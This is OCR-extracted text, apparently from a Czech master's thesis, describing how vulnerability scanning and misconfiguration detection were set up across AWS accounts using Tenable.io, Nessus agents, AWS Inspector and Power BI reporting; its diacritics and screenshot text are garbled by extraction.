SIFROVANI NA SERVERU OCHRANA

STRANE KLIENTA INTEGRITY,
OCHRANA
IDENTIT

SOFTWARE

VYPOCETNI - . SITOVA
Poskytovatel JEDNOTKY ULOZNY PROSTOR | DATABAZE |\ /ocry/a

Zodpovédnost za

cloudové reSeni S
HARDWARE/GLOBALNI INFRASTRUKTURA

KRAJINI

REGIONY DOSTUPNOSTNI ZONY LOKACE

Zdroj:[5]
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3.3 Typy cloudovych sluzeb

Cloud poskytuje vyvojaiam a IT odd€lenim schopnost soustiedit se na to, na ¢em nejvice zalezi,
a vyhnout se nediferencované praci, jako je zadavani zakazek, udrzba a planovani kapacit.
S rostouci popularitou cloudovych sluzeb se objevilo nékolik ruznych modeld a strategii

nasazeni, které pomahaji uspokojit specifické potieby rtiznych uzivateld. [3]

Pichled cloudovych sluzeb z pohledu skenovani zranitelnosti je dilezitou soucasti spravy
zabezpeceni V cloudovém prostiedi. Rtizné typy cloudovych sluzeb vyzaduji specificky ptistup
k identifikaci a hodnoceni zranitelnosti. Jako ptiklad zminim zastoupeni sluzeb pro 3 nejvétsi

poskytovatele cloudovych sluzeb.
e Infrastruktura jako sluzba IaaS

LInfrastructure as a Service* obsahuje zakladni stavebni bloky pro cloudové IT aobvykle
poskytuje pfistup K sitovym funkcim, poc¢ita¢im (virtualnim nebo na vyhrazeném hardwaru)

a prostoru pro ukladani dat. [3]

Skenovani zranitelnosti na téchto zafizeni se neli$i od béznych serveri pomoci skenertt od
tretich stran. Neni to vSak podminkou, nebot’ cloudovi poskytovatelé také nabizeji své vlastni

tzv. nativni skenovaci sluzby.
e Platforma jako sluzba PaaS

Platformy jako sluZba odstrafiuji potfebu organizaci spravovat zakladni infrastrukturu (obvykle
hardware a operacni systémy). Diky tomu umoziuji soustedit se na nasazeni a spravu vasich

aplikaci. [3]

Pti skenovani zranitelnosti v PaaS prostiedi je dulezité zaméfit se na konfiguraci, zabezpeceni

platformy a na aplikace vyvinuté v této platforme.
e Software jako sluzba SaaS

Software jako sluzba poskytuje dokonceny produkt, ktery provozuje a spravuje poskytovatel
sluZzeb. Ve vétSiné piipadii lidé oznacujici software jako sluzbu maji na mysli aplikace pro
koncové uzivatele. Diky SaaS neni tfeba pfemyslet 0 tom, jak je sluzba udrzovéana nebo jak je
spravovana zakladni infrastruktura; sta¢i premyslet otom, jak tento konkrétni software

pouzivat. [3]

Pii skenovani zranitelnosti v SaaS sluzbach se zpravidla omezujeme na skenovani konfigurace
a uzivatelskych ucti, protoze aplikace jsou vlastnény poskytovatelem.
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e Serverless computing

Serverless sluzby umoziuji vyvojaiim vytvaret funkce bez spravy infrastruktury. Pfi skenovani
zranitelnosti v serverless prostiedi je velice dulezité zaméfit se na zabezpeceni funkci a take na
integrované sluzby, které mohou mit vliv na bezpe¢nost. Nékteti z poskytovatelt, jako AWS,
podporuji vyuziti nativnich runtime scannerti. Obecné vsak plati, ze by se vyvojafi méli

soustiedit na bezpe€nost jiz pii vyvoji.
e Kontejnery

Kontejnery jsou izolované prostiedi pro béh aplikaci. Pii skenovani zranitelnosti
v kontejnerovém prostiedi je dilezité provadét skenovani samotnych bézicich kontejnert, ale

také souboru ke zpusténi obrazu.
o Databazové sluzby

Cloudové databazové sluzby vyZzaduji skenovani zranitelnosti v databdzich ataké spravu
ptistupovych prav k nim. Neni vSak potieba zajistovat bezpe¢nost infrastruktury, ktera se

pouziva k béhu samotné databaze. Tuto Cast zajiSt'uje poskytovatel cloudové sluzby.
e Sitové sluzby

Sitové sluzby v cloudu zahrnuji naptiklad spravu firewall pravidel, VPN pftistupu a dalsi sitove
prvky. Skenovani zranitelnosti v sitovych sluzbach je kritické pro zajisténi bezpecnosti
komunikace. Samotné nastaveni sité je v rukou uzivatele sluzeb. Zejména Vv hybridnich
prostiedi, tzn. spojeni cloudovych sluzeb s on premise infrastrukturou, je dulezité pravidelné

monitorovat, co s ¢im komunikuje a na jakych portech.
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4 DETEKCE ZRANITELNOSTI V CLOUDOVEM PROSTREDI

4.1 Navrh detekénich mechanismii

V této cCasti se diplomova prace vénuje popisu metodologie pouziti nabytych poznatka
v problematice spravy zranitelnosti a struktury cloudovych sluzeb, které budou aplikovany
v navrhu detek¢énich mechanismd, jejich implementace a zasazeni do procesu managementu

zranitelnosti v prosttedi Amazon Web Services.

Néavrh detekénich mechanismt pro skenovani zranitelnosti a Spatné konfigurace je dilezitou
soucasti zabezpecovaci strategie vV cloudovém prostredi. V této praci bude vyuzita kombinace
komerénich nastrojii a nativnich cloudovych sluzeb vradmci vybraného poskytovatele

cloudovych sluzeb.
e Tenable Vulnerability Management

Poskytované sluzby od spole¢nosti Tenable pomahaji v oblasti kybernetické bezpecnosti ziskat
vhled do zranitelnosti a bezpe¢nostniho nastaveni v fadé riznych zafizeni v ramci organizace,
které néjak komunikuji v tradi¢ni anebo cloudové siti. V ramci této praci vyuzijeme tento

nastroj k detekci zranitelnosti a ovétreni bezpec¢né konfigurace cloudovych virtualnich serveru.

Tenable vyuziva rozsahlou databazi znamych zranitelnosti a auditnich $ablon k posouzeni
cilovych systémi. Aktivné zkouma systémy na nalezeni zranitelnosti, nespravnych konfiguraci

a potencialnich bezpec€nostnich rizik ve sluzbach, aplikacich a operacnich systémech.

Pro detekci vyuzijeme kombinaci riznych skenovacich technik, abychom dostali kompletni

informaci o dostupnych zranitelnosti. [29]
e Lokalni sken zranitelnosti

V ramci tohoto typu sbéru dat vyuzijeme tzv. Tenable Nessus Agent na obrazku ¢. 2; nenaro¢ny
program, ktery se instaluje lokalné na cilovy host, za ucelem tradi¢niho sitového skenovani
k poskytnuti piehledu 0 mezerach, které tradi¢ni skenovani postrada. Tyto agenti shromazd'uji
data o zranitelnosti, konfigurace a systému a hlasi tyto informace zpét do centralni jednotky.
[29]

Sken probiha lokalné, coz znamena, ze agent ke spravnému béhu vyzaduje administrativni

prava nad systémem.
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Vyhodou tohoto typu skenu je schopnost detekce verzi a naslednych zranitelnosti pfitomného
softwaru na cilovém zafizeni. Vzhledem k administrativnim praviim, pod kterymi Nessus agent

pracuje, neni vyjimkou napiiklad dodate¢né ovéfovani kli¢t v registrech systému atd.

Za nevyhodu skeni pomoci agenti povazuji neschopnost detekce zranitelnosti a $patné

konfigurace na otevienych portech, ptipadné aplikaci, které na nich bézi.

NESSUS
AGEMN
tenable {9 <
: NESSUS
: BGEMT
NESSUS
ALk
Obréazek 2 — Detekce zranitelnosti pomoci Tenable agenta
Zdroj: [27]

e Vzdaleny sken zranitelnosti pomoci nastroje Nessus.

Nessus, jeden z dalSich produktd od spolecnosti Tenable, je Siroce vyuzivany nastroj pro
skenovani zranitelnosti, ktery se vyznacuje schopnosti identifikovat a posuzovat bezpecnostni
nedostatky v sitovych a systémovych prostiedich. V ramci této prace tento nastroj vyuZzijeme
k detekci zranitelnosti, které se nachazeji na otevienych portech jednotlivych virtudlnich

strojich. Tyto skeny budou provedeny bez pfihlasovani do systému.

Sken zranitelnosti zasahuje hloubéji nez discovery sken. Tyto skeny neskonci po detekci
sitového portu, ale sonduji cilovy systém anebo sit’ k nalezeni zndmych zranitelnosti. Tyto
nastroje v sobé maji databaze s tisici znamych zranitelnosti, které jsou testovany vaci

existujicim systémam. [13]

Vyhodou téchto skenti je schopnost detekce zranitelnosti a Spatné konfigurace na otevienych

portech, pfipadné aplikaci, které na nich bézi. Jako piiklad Ize uvést zranitelné verze SSL/TLS,
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defaultni ptihlasovaci udaje do aplikaci a oteviené porty administrativnich prostiedi riznych

zafizeni, které by mohly byt dale zneuZity.

Nevyhodou téchto typi skent je mnozstvi sitového zatizeni prvki sité, delsi doba skenti nebo

mozné falesné pozitivni nalezy.
e Detekce nespravné konfigurace cloudu

V teoretické ¢asti diplomové prace jsem popsal obecné typy skent, které se daji dobie aplikovat
jak v tradi¢ni datacentru, sitové infrastruktuie, tak i v cloudu. Timto zpisoben Ize skenovat
veskeré zafizeni, kterd jsou aktivni v jakékoliv siti, kde dokazeme pfipojit Nessus scanner nebo
Tenable agent. V cloudovém prostiedi se ovSem pfistup lisi, protoze skazdym Gétem od
cloudovych poskytovatell ziskdvame uplnou kontrolu nad veSkerym nastavenim jednotlivych
zdrojii. Samotna organizace nebo jednotlivec vyuzivajici cloudové sluzby, mize prava nad
jednotlivymi ucty azdroji omezovat, nicméné isamotné nastaveni omezeni je dobré

monitorovat v ramci procesu fizeni zranitelnosti.

Monitoring déle muzZe probihat pomoci riznych bezpe¢nostnich standardt na zakladé
pozadavkt pro kazdou konkrétni firmu, které jsou urceny legislativami nebo regulacemi.

V rdmci sve prace bude vyuzivan CIS benchmark pro daného poskytovatele cloudovych sluzeb.
e Center for Internet Security (CIS) AWS Foundations Benchmark

CIS AWS Foundations Benchmark slouzi jako sada osvéd€enych postupti konfigurace
zabezpeceni pro AWS. Tyto osvédcené postupy uznavané v tomto odvétvi vam poskytuji jasné
postupy implementace a hodnoceni krok za krokem. Ovladaci prvky v tomto benchmarku, od
operacnich systému po cloudové sluzby a sitova zatizeni, mohou pomoci chranit konkrétni

systémy, které organizace pouziva. [4]
e Detekce nespravné konfigurace IAM

V této praci se blize zaméfime, jakym zpusobem jsme schopni detekovat nespravnou
konfiguraci v nastaveni pfistuptl na obrazku ¢. 3, ktera mtize vést stejné jako zranitelnosti na

zafizenich anebo nespravna konfigurace sluzeb k nabourani infrastruktury Gto¢nikem.

Pomoci AWS Identity and Access Management (IAM) muzete urcit, kdo nebo co muize
pfistupovat ke sluzbam a zdrojiim v AWS, centraln¢ spravovat jemné strukturovana opravnéni

a analyzovat piistup za celem upiesnéni opravnéni napiic AWS. [1]

32



~—

Typ sluzby v AWS
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Kdo MGZe obsluhovat

AWS fizeni pristupt

Obrazek 3 — AWS sprava pristupii a prav
Zdroj: [1]
4.2 Reporting ziskanych dat
V rozsahlejSich organizacich je bézné vyuzivat aplikace, které automaticky vytvareji incidenty
arozesilaji je konkrétnim vlastnikiim. RGzné Grovné managementu mohou tak sledovat stav

zabezpeceni jak na centralni urovni, tak na urovni jednotlivych tym, ptipadné prostiedi.

Velmi dulezitym aspektem procesu fizeni zranitelnosti je v€asné opraveni ndlezu, které urcuje
urCuje interni politika dané organizace. Dalsi dilezité atributy jsou risk zneuziti nalezu,
prumérny ¢as vyfeSeni a sitové prostiedi. Jako reportovaci nastroj byl vyuzivan Microsoft

PowerBI.

4.3 Ramcovy navrh procesu detekce zranitelnosti

Reseni navrhu procesu fizeni zranitelnosti bylo realizovano v cloudovém uétu AWS. Pro ucely
skenovani zranitelnosti jsem zvolil nastroj Tenable.io, ktery se ukazuje jako efektivni
prostiedek k identifikaci, monitorovani aspravé bezpecnostnich rizik Vv informaénich

systémech.

Tato platforma nabizi komplexni feSeni pro bezpecnostni odborniky aumoznuje detekci
riznorodych bezpe¢nostnich hrozeb. Zarovenn ma schopnost identifikovat zranitelnosti,
monitorovat spravné nastavenou konfiguraci identity a provadét objevovani v prostiedi. Timto

umoziuje efektivni ochranu pfed potencialnimi hrozbami.
e Detekce zranitelnosti:

Tenable.io bude nasazen k pravidelnemu skenovéani cilové infrastruktury, identifikaci
zndmych inovych zranitelnosti a poskytovani relevantnich informaci pro rychlou

reakci.
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Bezpecéné nastaveni konfiguraci:

Néstroj bude sledovat a hodnotit nastaveni konfiguraci v cloudovém uétu, zdali jsou

vSechna nastaveni v souladu s bezpe¢nostnimi standardy a pravidly.

Sprava pristupa a prav (IAM):

Tenable.io bude dale monitorovat opravnéni a pfistupy uzivateld v cloudovém
prostiedi, identifikovat potencidlni rizika a predchézet neopravnénym piistuptim.
Objevovani prostiednictvim Tenable cloud konektoru:

Tenable.io bude vyuzivat svij cloud konektor Kk objevovani novych prvki
V infrastruktufe, coZ umozni rychlé a presné zaclenéni novych dat do procesu fizeni

zranitelnosti.
Integrace reportingu s vyuzitim MS PowerBI:

Pro zajisténi efektivniho sledovani a prezentace vysledkl procesu fizeni zranitelnosti
bude do implementace zaclenéna integrace s MS PowerBI. Tato integrace umozni
vizualizaci a analyzu dat generovanych Tenable.io, coz prispéje K lepSimu pochopeni

stavu bezpecnosti vV rdmci cilového cloudového uctu.
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Diagram névrhu procesu detekce zranitelnosti

Diagram névrhu procesu zranitelnosti znazortiuje obrazek ¢. 4.
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Obrézek 4 — Navrh spravy zranitelnosti cloudového reSeni
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5 IMPLEMENTACE PROCESU DETEKCE ZRANITELNOSTI

5.1 Postaveni cloudové infrastruktury
Pro ucel vlastni implementace byl zvolen jako hlavni cloudovy poskytovatel ,,Amazon Web
Services“.  Cilova infrastruktura se sklada ze tii AWS uéti: DP _DEV, DP PROD

a DP_sandbox.

e DP_DEV: tento tcet slouzi k vyvoji a testovani novych funkcionalit a aplikaci. Je uréen
pro vyvojovy tym, kde mohou inZenyii testovat a upravovat software pred nasazenim
do produk¢niho prostiedi.

e DP_PROD: produkéni tcet, ktery je vyuzivan k béhu produkénich aplikaci a sluzeb.
Zde jsou nasazeny vSechny zivé aplikace, které jsou dostupné pro zdkazniky a uzivatele.

e DP_sandbox: sandbox tcet se vyuziva k experimentovani a testovani novych nastroju
a technologii. Je urCen pro izolované prostedi, kde mizeme bez obav zkouset nové

postupy a piistupy.

Cast infrastruktury jiz existovala pfed zahajenim této implementace. Zahrnovala zéakladni
sitovou architekturu a ¢astecné nastaveni bezpe¢nostnich pravidel. Pro ucely prace byla
vytvofena dal$i infrastruktura v u¢tu Sandbox, kterd obsahovala prostfedi pro skenovani
zranitelnosti a testovani novych bezpeénostnich opatieni. V rdmci diplomové prace byly
nasazeny a nakonfigurovany hlavni potifebné sluzby AWS, jako je EC2 pro béh skenerti
zranitelnosti, IJAM pro spravu opravnéni a Lambda function. Ve vysledku byla vytvotfena

robustni infrastruktura, ktera umoziuje poskytnout $iroky vhled do nastaveni cloudu.

5.2 Nastaveni cloudového konektoru

Na zakladé¢ Tenable dokumentace dostupné na webovych strdnkéch poskytovatele byl
nasledovan sled krokt pro nastaveni integrace mezi bezpecnostnim nastrojem od spole¢nosti
Tenable acloudového prosttedi AWS. Jak na strané nastroje, tak na stran¢ samotného

cloudového uctu. Diagram zapojeni je zobrazen nize na obrazku €. 5.
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" Onboard singlé\
_—
Onboard an AWS account AWS Account——<__ AWSaccountor AWS ~_———AWSOrganization
~T—_organization? _—
~Z_ /

Create a project for onboarding the AWS
account.

Set up read-only access to the AWS
account for Tenable.cs.

Onboard an AWS organization.

. Configure management account.
. Configure member accounts in AWS.
. Discover and onboard member

accounts.

Obrazek 5 — Onboard AWS Accounts

Configure cloud scan.

Run cloud scan.

|

View cloud scan results on the
dashboard.

e Krok 1: Vytvoreni politiky pro pFistup do AWS

- Tenable Cloud Security
@D aws

Zdroj:[28]

Za ucelem integrace byl vytvofen pfistup, ktery povoluje “pouze ¢teni” na zdkladé nékolika

desitek ptedepsanych politik. Tyto politiky zajisti pfistup ke ¢teni konfigurace dat a metadat

v uctu AWS. Konfigurace je zobrazena na obrazku €. 6.

Permissions policies (4) info

You can attach up to 10 managed policies.

Filter by Type

Q, Search

‘ | All types

v

O Policy name [2 'y Type v Attached entities
n B CloudTrailPolicy Customer inline 0]
(I [ Read-onlyPolicy Customer inline o
O =] SecurityAudit AWS managed - job function 3
SecurityAudit
The security audit template grants access to read security configuration metadata. It is useful for software that audits the configuration of an AWS account.

36 "apprunner:DescribeCustomPomains”,

37 "apprunner:DescribeObservabilityConfiguration”,

38 "apprunner:DescribeService”,

39 "apprunner:DescribeVpcConnector”,

48 "apprunner:DescribeVpcIngressConnection™,

41 “apprunner:ListAutoScalingConfigurations” .

Obréazek 6 — Vytvoreni politiky pro pristup do AWS

e Krok 2: Vytvoreni cloud trail (S3)

Zdroj: vlastni

Pro ziskani relevantnich dat, zejména z domény bezpeéného nastaveni prav a piistupu, je

dulezité vytvorit Ulozisté dat, které loguje data v realném case 0 jakékoliv aktivité v uctu AWS

na urovni sluzeb a identit. Toto ulozisté¢ bylo vytvofeno pomoci sluzby ,,AWS CloudTrail “.
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Zaroven bylo umoznéno roli z piedchozim kroku z tohoto ulozisté Cist data. Nasledné bylo

také zapnuto Sifrovani dat pomoci ,,AWS KMS* na obrazku ¢. 7.

ni -cloudtrail

General details

Trail logging Trail log location
& Logging ¥

C
Trail name 52

n dtrail

Last log file delivered
January 22, 2024, 16:19:20

Multi-region trail
Yes (UTC+01:00)
Apply trail to my organization
Not enabled Enabled

AWS KMS key
ar

1+

dE

AWS KMS key alias

Delete || Stop logging

Log file validation
Enabled

SNS notification delivery
Disabled

33835

Last SNS notification
January 22, 2024, 16:08:25 -

(UTC+D1:00)

Last file validation delivered

Log file SSE-KMS encryption

733-
4[4

nn-vm-tscm-scan-cloudtrail

Obrazek 7 — Nastaveni roli pro bezpecnou vyménou informaci mezi AWS a Tenable

e Krok 3: Pridani AWS uétu

Zdroj: Vlastni

V dalsim kroku pokra¢ujeme v samotném rozhrani Tenable, kde zadame data z ptedeslych

krokt a dokoncime ptidani AWS uctu, jak zobrazeno na obrazku €. 8.

Add Account

Choose which features to enable, keeping in mind that each feature requires different permissions. You can

modify your selection after the initial onboarding

Account Details 1
Permissions ° ®
1AM Role 3
Select CloudTrail 4
L ]
o

Monitoring (read-only)

Gain full visibility for all cloud assets, including information about permissions, account usage, and
security configurations. Additional permissions may be required to read the CloudTrail for the
onboarded account. For more information about required permissions, see the documentation

Remediation (read-write)

Allow Tenable to make changes in your environment. This lets you automatically remediate findings
with one click, for example (One-click remediation is still available via OTP without these
permissions). For more information about required permissions, see the documentatior

‘Workload protection

Scan workloads and container registries for vulnerabilities and misconfigurations. For more
information about reguired permissions, see the documentation

CloudTrail (S3)

To analyze cloud activity logs, permissions are required to read from the S3 bucket storing CloudTrail
data. If the bucket belongs to the account you are onboarding, select this option. If the bucket
belongs to a different account, you will need to onboard it separately after completing this wizard

For more information about required permissions, see the documentation
n cloudtrail

Is the trail bucket encrypted with AWS KMS? (@ Yes () MNo

arnmaws:kms:eu-west-1 fo1fd4ed

Obrézek 8 — Nastaveni Tenable cloud discovery konektoru

Zdroj: Vlastni
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5.3 ldentifikace cloudové infrastruktury
Po Gispé€$ném nastaveni integrace se pomoci API mezi Tenable a AWS u¢tem dochazi k nacteni
dat o sluzbach, které jsou v dispozici vramci testovanych AWS uétu. Piiklad objeveni
virtualnich servert je zobrazen na obrazku ¢. 9. Timto zptisobem byly naimportovany dalsi dva
ucty.
¥ Lolm

Neme Grested  State & Operating System NetworkExposure  Network Exposure Scope

2

Running Amazon Linux 2023 (Amazon Linux)

j-0TTTTIITIT T Tt ServerAMZ)
Running

e -import) Running

Running Ubuntu 22.04 Internet (direct) Specific IPs

~ c 0s7
i-0 ENT 0S8 7) Stopped

Obrazek 9 — Nacteni cloudové infrastrktury do Tenable
Zdroj: Vlastni
Tyto data byla exportovéna a dale analyzovéana ke zvoleni vhodného detek¢éniho mechanismu

zranitelnosti a chybné konfigurace z pohledu bezpec¢nosti.

5.4 Analyza detekce cloudovych sluzeb

Pro zjisténi dat pro dil¢i skeny byl vyuzit cloudovy konektor, ktery pomohl s detekci
dostupnych sluzeb v ramci cloudové infrastruktury. Tyto ziskana data byly dale exportovana
ve forméatu .csv anasledné naimportovana do MS PowerBI za ucelem ziskani pichledu

0 existujicich sluzbach ve vSsech AWS uctech.

5.4.1 Identifikace nalezenych cloudovych sluzeb
Z nize uvedeného piehledu sluzeb vyplyva, ze celkovy pocet nalezenych sluzeb byl 1050.
Nejvyssi polozku, 371 nalezt z téchto dat, tvorilo nastaveni prav a ptistupti ,,JAM*. Déle disky

virtualnich servert a nastaveni sité.
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Celkove zastoupeni poCtu sluzeb

4
12 (1.14%)(0-38%)

19 (1.81%) \\

26 (2..)
31(2..)
40 (..)
41
(3.9%)
a4
(4.19%)

49
(4.67%)
73 (6.95%)

98 (9.33%)

263 (25.05%)

121
(11.52%)

108 (10.29%)

Typ sluzby

®|AM Role

®EBS Snapshot

®|AM Managed Policy

®Security Group

®EBS Volume

®EC2 Machine Image
Subnet

® KMS Key

® | ambda Function

® Network Interface

® CloudFormation Stack

® Systems Manager Par...

S3 Bucket

® Container Image
IAM User
EC2 Instance
Route Table
Network ACL

Obrézek 10 — Prehled zastoupeni detekovanych AWS sluzeb pomoci PowerBI

Typ sluzby Pocet sluzeb
v

IAM Role 263
EBS Snapshot 121
IAM Managed Policy 108
Security Group 98
EBS Volume 73
EC2 Machine Image 49
Subnet 44
KMS Key 41
Lambda Function 40
Network Interface 31
CloudFormation Stack 26
Systems Manager 20
Parameter

S3 Bucket 19
Container Image 14
IAM User 14
EC2 Instance 12
Route Table 12
Network ACL 9
VPC 9
Total 1050

Zdroj: Vlastni

Pichled detekovanych sluzeb a jejich popis na zakladé dokumentace od AWS je popsan

v tabulce v tabulce ¢. 3:

Tabulka 3 — Popis nalezenych sluzeb AWS

IAM Role

EBS Snapshot

IAM Managed Policy
Security Group

EBS Volume

EC2 Machine Image
Subnet

KMS Key

Lambda Function
Network Interface
CloudFormation Stack
S3 Bucket

Systems Manager Parameter
IAM User

Container Image

EC2 Instance

Route Table

Network ACL

VPC

Internet Gateway

263
121
109

Sprava piistupovych roli

Zalohovani datovych diska
Rizeni opravnéni a politik

Rizeni piistupu k sitovym prostiedkiim
Ukladéni dat na oddilech datovych diskil
Vytvareni obrazi virtudlnich stroji

Rozdé&leni sité na mensi segmenty

Sifrovani a desifrovani dat
Spousténi kodu v reakci na udalosti

Sitové rozhrani

Automatizované nasazeni infrastruktury
Ukladani objekti ve formé dat
Spréva konfiguracnich dat

Sprava uzivatelskych uctt
Obraz pro spusténi kontejnert
Virtualni instance serverti

Smérovaci tabulky

Rizeni piistupu k sitovym zdrojim
Virtualni privatni sit’

Pristup k internetu
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ECR Repository 5) Ukladéani kontejnerovych obrazli

ECS Task Definition 4 Popis spustitelnych kontejnert
Route53 Hosted Zone 4 Sprava DNS zaznami

Secrets Manager Secret 4 Ukladani a sprava citlivych informaci
Account 3 Spréava ucta

API Gateway API 3 Vytvareni a sprava API

Root User 3 Hlavni uzivatelsky ucet

VVPC Endpoint 3 Ptipojeni k VPC ze sluzeb mimo AWS
CloudTrail Trail 2 Monitorovani udalosti

DynamoDB Table 2 NoSQL databazové tabulky

SNS Topic 2 Notifikace pomoci tématu

ACM Certificate 1 Sprava SSL/TLS certifikatt
Application Load Balancer 1 Rozlozeni zatéze na aplikacni Grovni
Classic Load Balancer 1 Rozlozeni zatéze na sitové Grovni
RDS Snapshot 1 Zalohovani rela¢nich databazi

WAF Web ACL 1 Rizeni piistupu k webovym aplikacim

Zdroj: Vlastni
Z vyse uvedené tabulky ¢. 3 dale vyplyva, ze i kdyZ se mize zdat, Ze jednoducha infrastruktura
by neméla vyzadovat mnoho sluzeb, realita je Casto odlisna. | zédkladni cloudové prostredi
vyzaduje Sirokou skalu sluzeb pro spravnou funkci a zabezpeceni. Napiiklad pro jednoduchou
webovou aplikaci mize byt zapotiebi IAM role pro fizeni pfistupu, sitového rozhrani pro
komunikaci, databazové sluzby pro ukladdani dat, zdlohovani pro ochranu proti datové ztraté

a mnoho dalSich.

Tato rozmanitost sluzeb Vcloudovém prostfedi znamena, Zze izdanlivé jednoducha
infrastruktura vyzaduje diikladnou konfiguraci a spravu. Kazda sluzba piedstavuje potencialni

bod zranitelnosti. Je dulezité zajistit, aby byla spravné nakonfigurovana a zabezpecena.

5.4.2 Identifikace sluzeb pro sken bezpe¢né konfigurace sluzeb a pristupi

V piehledu na obrazku ¢. 11 byly dale identifikovany cloudové sluzby z piedeslého seznamu,

Mrve

snizuje Sanci stat se obé&ti kybernetického ttoku. V grafu nize je mozné vy¢ist zastoupeni

ruznych sluzeb pro kazdy AWS tucet.

41



kvd
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Obrazek 11 — Zastoupeni AWS sluzeb za kazdy AWS iicet pomoci PowerBl

Zdroj: Vlastni

5.4.3 Identifikace sluZeb pro sken zranitelnosti

Z nize uvedného grafu je mozné vycist zastoupeni sluzeb pro jednotlivy cloudovy ucet Amazon
Web Services. Tato informace nam dava piehled 0 rozsahu vypocetnich sluzeb v jednotlivém
uctu AWS. Zarovenl poukazuje na to, Ze jednotlivé Uty jsou oddéleny a piipadny nalez
zranitelnosti mize vyzadovat nutnost znat vlastnika Gctu, ktery je tak schopen vyhodnotit

ptipadné dopady nasledné mitigace.

Na obrazku €. 12 jsou zobrazeny sluzby, kde se mohou nachazet softwarové zranitelnosti na
urovni operacniho systému, aplikaci, zdrojového kodu nebo sitového koncového zatizeni. Tyto

sluzby tedy vyzaduji nastaveni dodate¢ného automatického skeneru.
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Celkovy poCet nelezenych zafizeni vhodnych pro sken zranitelnosti Jmeno AwS détu Typ sluzby Potet sluzeb

Typ sluzby ® AP| Gateway APl ® EC2 Instance ® Lambda Function DP_DEV API Gateway APl 3
31 DP_DEV EC2 Instance 4

30 DP DEV Lambda Function 24
DP_PROD1 EC2 Instance 3

DP_PROD1 Lambda Function 7

25 DP_sandbox EC2 Instance 5

DP sandbox Lambda Function 9

Total 55

20

Lambda Function

24

Pocet sluzeb

Lambda Function

9

Lambda Function
7

API Gateway API
0 3

DP_DEV DP_sandbox DP_PROD!1
Jméno AWS uctu

Obrézek 12 — Vybrané vypocetni sluzby pro sken zranitelnosti pomoci PowerBI

Zdroj: Vlastni

5.5 Implementace skenovani zranitelnosti

Po identifikace cloudovych sluzeb, na kterych muze doji k instalaci zranitelného softwaru, byly

nalezeny sluzby, na kterych byly implementovany mechanismy pro detekci a sbér zranitelnosti.

Planovand implementace zahrnuje nastaveni riznych nastroji ametod pro efektivni

monitorovani a detekci potencialnich hrozeb.

Prvnim krokem je implementace Tenable agenta pro skenovani zranitelnosti na instancich EC2.
Tento agent pravidelné monitoroval a reportoval zranitelnosti pfimo z hostovanych instanci,

coz umoznilo rychlou identifikaci a opravu bezpeénostnich nedostatkd.

Pro Lambda funkce byl implementovan sken pomoci AWS Inspectoru. Tento nastroj je
optimalizovan pro serverless sluzby, umoziuje detekci zranitelnosti anebezpecnych

konfiguraci specifickych pro Lambda funkce.

V dalsim kroku bylo provedeno nastaveni skenovani pomoci Tenable pro kontrolu konfigurace
a pfistupovych prav vramci celého AWS prostfedi. Timto zplsobem lze zajistit, Ze jsou
dodrzovany nejlepsi postupy a standardy pro bezpe¢nou konfiguraci AWS sluzeb. Schéma

implementace detekcnich mechanismt je zachyceno na obrazku ¢.13.
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Obrazek 13 — Diagram nastaveni skenovacich mechanismii pomoci Draw.io

Zdroj: Vlastni

5.5.1 Nastaveni skenu pro virtualni servery EC2

EC2 instance pIni v cloudovém prostiedi roli virtualniho serveru. K detekci zranitelnosti byl
proto zajistén lokalni sken zranitelnosti pomoci Tenable agent. Tento skener byl nainstalovan
na vSechny virtualni servery EC2 v ramci vSech AWS ucti. Ke spravné funkcionalité byl
zajistén sitovy prostup do centralni jednotky Tenable.io, kterou poskytuje spole¢nost Tenable.
Centralni jednotka slouZi k nastaveni jednotlivych skenli asbéru vysledkli ze zminénych

sluzeb.

Jelikoz se jedna o Linuxové prostiedi, byl tedy zvolen vhodny instala¢ni soubor a verzi
odpovidajici verzi cilového systému. Dale byl nainstalovan Tenable agent podle piedepsanych

prikazti. Pomoci ptikazu ,,nessuscli agent status byla ovéfena funkcionalita viz obrazek ¢. 14.
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sh-4.2% sudo /opt/nessus_agent/sbin/nessuscli agent status
inked to: cloud.tenable.com:443

Link status: Connected to cloud.tenable.com:443

Last successful connection with controller: 121 secs ago
Proxy: None

Plugin set: 202201061158

Scanning: No (@ jobs pending, @ smart scan configs)
Scans run today: 1 of 10 limit

Last scanned: 1641536788

Last connect: 16415503859

Last connection attempt: 1641550859

Obréazek 14 — Instalace Tenable Agent

Zdroj: Vlastni

V dalsim kroku, viz obrézek ¢. 15, byla nastavena politika skenu. Jednim z dilezitych

parametrt bylo zvoleni detekce maximalniho mozného po¢tu znamych zranitelnosti.

= (Otenable vunerabiity Management  Scans > ScanTemplates > EditaScan Template # quickactions ~ Y L & 55 @)

Settings
Plugins
Basic
Discavery
Assessment
Filters ~ A | 33Plugin Families
Report

Advanced

Allenabled @)

Compliance

Plugins
33 Plugin Families to330f33v

&
)

NAME T TOTAL STATUS

Alma Linux Local Security Checks 1193 on @O
Amazon Linux Local Security Checks 4276 on @O
Backdoors 123 on @O
CentOS Local Security Checks 4512 ON 0
CGl abuses 5691 on @O
CGl abuses : XSS 704 on @D
asco 237 on @O
Databases 969 ov @O
Debian Local Security Checks 9216 on @O
Fedora Local Security Checks 18347 on @O

Obréazek 15 — Nastaveni politik sken zranitelnosti
Zdroj: Vlastni
Vysledkem uspéSného nastaveni a spusténi skenu je report zranitelnosti o rizné zavaznosti.

Tento soubor v podob¢ .csv byl exportovan a dale vyuzivan v analyze pomoci MS PowerBI.

5.5.2 Nastaveni skenu pro Lambda function
Podpora Amazon Inspector pro funkce AWS Lambda poskytuje nepietrzité, automatizované
hodnoceni zranitelnosti zabezpeceni pro funkce a vrstvy Lambda. Amazon Inspector nabizi dva

typy skenovani pro Lambda. Tyto typy skenovani vyhledavaji rizné druhy zranitelnosti.

Po aktivaci Amazon Inspector skenuje vSechny Lambda funkce volané nebo aktualizované

béhem poslednich 90 dni ve vasem uctu. [2]
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Po nastaveni sluzby ,,AWS Inspector byly ziskdvany prvni vysledky* viz obrazek ¢. 16. Stejnym
zpusobem byl aktivovan nativni skener i v dalsich AWS uc¢tech. Néktera data jsou sensitivniho
charakteru, a proto jsou jejich hodnoty anonymni.

Findings: By Lambda function i«

Sorted by function with the most critical findings.

By Lambda function (9) ‘?‘ ‘ Create
Choose a lambda function to view its details and associated findings. -
Q, Add filter

Function name Account Runtime M Critical
AWS_AI DOWNLOAD 47 48 PYTHON_3_9 1

Tenable 47 48 PYTHON_3_9 1

Tenable 47 48 PYTHON_3_9 1

sechubi 47 48 PYTHON_3_8 1

